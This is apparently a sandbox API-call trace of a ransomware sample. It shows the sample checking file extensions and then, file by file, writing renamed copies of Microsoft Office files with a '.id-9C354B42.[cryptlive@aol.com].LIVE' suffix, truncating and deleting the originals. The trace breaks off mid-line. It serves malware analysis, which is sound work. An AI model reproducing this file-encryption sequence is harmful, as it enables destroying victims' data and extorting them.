[0137.039] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString=".docx") returned 5 [0137.039] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.039] lstrlenW (lpString=".pdf") returned 4 [0137.039] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString=".xls") returned 4 [0137.039] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString=".xlsx") returned 5 [0137.039] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.039] lstrlenW (lpString=".ppt") returned 4 [0137.039] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.039] lstrlenW (lpString=".zip") returned 4 [0137.039] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString=".rar") returned 4 [0137.039] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString=".bz2") returned 4 [0137.039] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString=".7z") returned 3 [0137.039] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.039] lstrlenW (lpString=".dbf") returned 4 [0137.039] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.039] lstrlenW (lpString=".1cd") returned 4 [0137.039] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned 76 [0137.040] lstrlenW (lpString=".jpg") returned 4 [0137.040] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.040] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0137.040] lstrlenW (lpString="Urban.eftx") returned 10 [0137.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0137.041] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=19611) returned 1 [0137.041] CloseHandle (hObject=0x1fc) returned 1 [0137.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20 [0137.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0137.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.041] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0137.042] GetLastError () returned 0x0 [0137.042] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x4c9b, lpOverlapped=0x0) returned 1 [0137.044] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x4ca0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x4ca0, lpOverlapped=0x0) returned 1 [0137.045] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.045] WriteFile (in: hFile=0x3b0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0137.045] SetEndOfFile (hFile=0x3b0) returned 1 [0137.045] CloseHandle (hObject=0x3b0) returned 1 [0137.045] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.045] SetEndOfFile (hFile=0x1fc) returned 1 [0137.293] CloseHandle (hObject=0x1fc) returned 1 [0137.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.293] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 1 [0137.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.294] lstrlenW (lpString=".doc") returned 4 [0137.294] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.294] lstrlenW (lpString=".docx") returned 5 [0137.294] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.294] lstrlenW (lpString=".pdf") returned 4 [0137.294] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.294] lstrlenW (lpString=".xls") returned 4 [0137.294] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.294] lstrlenW (lpString=".xlsx") returned 5 [0137.294] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.294] lstrlenW (lpString=".ppt") returned 4 [0137.294] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.294] lstrlenW (lpString=".zip") returned 4 [0137.294] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.294] lstrlenW (lpString=".rar") returned 4 [0137.294] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.294] lstrlenW (lpString=".bz2") returned 4 [0137.294] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.294] lstrlenW (lpString=".7z") returned 3 [0137.294] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.294] lstrlenW (lpString=".dbf") returned 4 [0137.294] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.294] lstrlenW (lpString=".1cd") returned 4 [0137.294] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.294] lstrlenW (lpString=".jpg") returned 4 [0137.294] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.295] lstrlenW (lpString=".doc") returned 4 [0137.295] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.295] lstrlenW (lpString=".docx") returned 5 [0137.295] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.295] lstrlenW (lpString=".pdf") returned 4 [0137.295] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.295] lstrlenW (lpString=".xls") returned 4 [0137.295] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.295] lstrlenW (lpString=".xlsx") returned 5 [0137.295] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.295] lstrlenW (lpString=".ppt") returned 4 [0137.295] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.295] lstrlenW (lpString=".zip") returned 4 [0137.295] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.295] lstrlenW (lpString=".rar") returned 4 [0137.295] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.295] lstrlenW (lpString=".bz2") returned 4 [0137.295] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.295] lstrlenW (lpString=".7z") returned 3 [0137.295] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.295] lstrlenW (lpString=".dbf") returned 4 [0137.295] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.295] lstrlenW (lpString=".1cd") returned 4 [0137.295] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned 77 [0137.295] lstrlenW (lpString=".jpg") returned 4 [0137.295] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.296] lstrcmpiW (lpString1=".exe", lpString2=".LIVE") returned -1 [0137.296] lstrlenW (lpString="leechftp.exe") returned 12 [0137.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\leechftp.exe" (normalized: "c:\\program files\\microsoft office\\leechftp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0137.297] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=78336) returned 1 [0137.297] CloseHandle (hObject=0x1fc) returned 1 [0137.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\leechftp.exe" (normalized: "c:\\program files\\microsoft office\\leechftp.exe")) returned 0x20 [0137.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\leechftp.exe.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\leechftp.exe.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\leechftp.exe" (normalized: "c:\\program files\\microsoft office\\leechftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0137.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.297] lstrlenW (lpString=".doc") returned 4 [0137.297] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0137.297] lstrlenW (lpString=".docx") returned 5 [0137.297] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0137.297] lstrlenW (lpString=".pdf") returned 4 [0137.297] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0137.297] lstrlenW (lpString=".xls") returned 4 [0137.297] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0137.297] lstrlenW (lpString=".xlsx") returned 5 [0137.297] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0137.297] lstrlenW (lpString=".ppt") returned 4 [0137.297] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0137.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.297] lstrlenW (lpString=".zip") returned 4 [0137.298] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0137.298] lstrlenW (lpString=".rar") returned 4 [0137.298] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0137.298] lstrlenW (lpString=".bz2") returned 4 [0137.298] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0137.298] lstrlenW (lpString=".7z") returned 3 [0137.298] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0137.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.298] lstrlenW (lpString=".dbf") returned 4 [0137.298] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0137.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.298] lstrlenW (lpString=".1cd") returned 4 [0137.298] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0137.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.298] lstrlenW (lpString=".jpg") returned 4 [0137.298] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0137.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.298] lstrlenW (lpString=".doc") returned 4 [0137.298] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0137.298] lstrlenW (lpString=".docx") returned 5 [0137.298] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0137.298] lstrlenW (lpString=".pdf") returned 4 [0137.298] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0137.298] lstrlenW (lpString=".xls") returned 4 [0137.298] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0137.298] lstrlenW (lpString=".xlsx") returned 5 [0137.298] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0137.298] lstrlenW (lpString=".ppt") returned 4 [0137.298] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0137.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.298] lstrlenW (lpString=".zip") returned 4 [0137.298] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0137.298] lstrlenW (lpString=".rar") returned 4 [0137.298] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0137.298] lstrlenW (lpString=".bz2") returned 4 [0137.299] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0137.299] lstrlenW (lpString=".7z") returned 3 [0137.299] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0137.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.299] lstrlenW (lpString=".dbf") returned 4 [0137.299] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0137.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.299] lstrlenW (lpString=".1cd") returned 4 [0137.299] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0137.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\leechftp.exe") returned 46 [0137.299] lstrlenW (lpString=".jpg") returned 4 [0137.299] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0137.299] lstrcmpiW (lpString1=".MML", lpString2=".LIVE") returned 1 [0137.299] lstrlenW (lpString="CAGCAT10.MML") returned 12 [0137.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0137.300] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=312400) returned 1 [0137.300] CloseHandle (hObject=0x1fc) returned 1 [0137.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 0x20 [0137.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0137.301] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.301] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0137.570] GetLastError () returned 0x0 [0137.570] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x4c450, lpOverlapped=0x0) returned 1 [0137.577] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x4c460, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x4c460, lpOverlapped=0x0) returned 1 [0137.583] ReadFile (in: hFile=0x1fc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.583] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.583] SetEndOfFile (hFile=0x1e4) returned 1 [0137.583] CloseHandle (hObject=0x1e4) returned 1 [0137.584] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.584] SetEndOfFile (hFile=0x1fc) returned 1 [0137.651] CloseHandle (hObject=0x1fc) returned 1 [0137.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml")) returned 1 [0138.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.221] lstrlenW (lpString=".doc") returned 4 [0138.221] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0138.221] lstrlenW (lpString=".docx") returned 5 [0138.221] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0138.221] lstrlenW (lpString=".pdf") returned 4 [0138.221] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0138.221] lstrlenW (lpString=".xls") returned 4 [0138.221] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0138.221] lstrlenW (lpString=".xlsx") returned 5 [0138.221] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0138.221] lstrlenW (lpString=".ppt") returned 4 [0138.222] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0138.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.222] lstrlenW (lpString=".zip") returned 4 [0138.222] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0138.222] lstrlenW (lpString=".rar") returned 4 [0138.222] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0138.222] lstrlenW (lpString=".bz2") returned 4 [0138.222] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0138.222] lstrlenW (lpString=".7z") returned 3 [0138.222] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0138.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.222] lstrlenW (lpString=".dbf") returned 4 [0138.222] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0138.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.222] lstrlenW (lpString=".1cd") returned 4 [0138.222] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0138.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.222] lstrlenW (lpString=".jpg") returned 4 [0138.222] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0138.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.222] lstrlenW (lpString=".doc") returned 4 [0138.222] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0138.222] lstrlenW (lpString=".docx") returned 5 [0138.222] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0138.222] lstrlenW (lpString=".pdf") returned 4 [0138.222] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0138.222] lstrlenW (lpString=".xls") returned 4 [0138.222] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0138.222] lstrlenW (lpString=".xlsx") returned 5 [0138.222] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0138.222] lstrlenW (lpString=".ppt") returned 4 [0138.222] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0138.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.222] lstrlenW (lpString=".zip") returned 4 [0138.222] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0138.223] lstrlenW (lpString=".rar") returned 4 [0138.223] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0138.223] lstrlenW (lpString=".bz2") returned 4 [0138.223] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0138.223] lstrlenW (lpString=".7z") returned 3 [0138.223] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0138.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.223] lstrlenW (lpString=".dbf") returned 4 [0138.223] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0138.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.223] lstrlenW (lpString=".1cd") returned 4 [0138.223] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0138.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML") returned 66 [0138.223] lstrlenW (lpString=".jpg") returned 4 [0138.223] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0138.223] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0138.223] lstrlenW (lpString="ACCOLKI.DLL") returned 11 [0138.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0138.748] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=13240) returned 1 [0138.748] CloseHandle (hObject=0x1f8) returned 1 [0138.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll")) returned 0x20 [0138.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0138.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0138.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0138.759] lstrlenW (lpString=".doc") returned 4 [0138.759] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0138.759] lstrlenW (lpString=".docx") returned 5 [0138.759] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0138.759] lstrlenW (lpString=".pdf") 